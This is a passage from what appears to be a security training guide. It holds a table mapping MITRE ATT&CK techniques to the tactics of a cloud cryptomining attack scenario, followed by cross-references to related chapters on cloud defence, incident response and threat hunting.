| T1098.001 | Account Manipulation: Additional Cloud Credentials | Persistence (IAM backdoor users) |
| T1562.001 | Impair Defenses: Disable or Modify Tools | Defense Evasion (billing alerts, logging) |
| T1580 | Cloud Infrastructure Discovery | Discovery (environment enumeration) |
| T1610 | Deploy Container | Execution (mining containers in EKS/GKE) |
| T1204.003 | User Execution: Malicious Image | Execution (disguised mining images) |
| T1578.002 | Modify Cloud Compute Infrastructure: Create Cloud Instance | Resource Development (spot fleets) |
| T1496 | Resource Hijacking | Impact (cryptomining across all platforms) |
Cross-References¶
- Chapter 20: Cloud Attack and Defense
- Chapter 46: Cloud and Container Red Team
- Chapter 35: DevSecOps Pipeline
- Chapter 9: Incident Response Lifecycle
- Chapter 38: Threat Hunting Advanced
- Chapter 29: Vulnerability Management
- SC-027: Cryptomining Attack
- SC-085: Kubernetes RBAC Abuse
- SC-087: Serverless Injection
- SC-093: Cloud Lateral Movement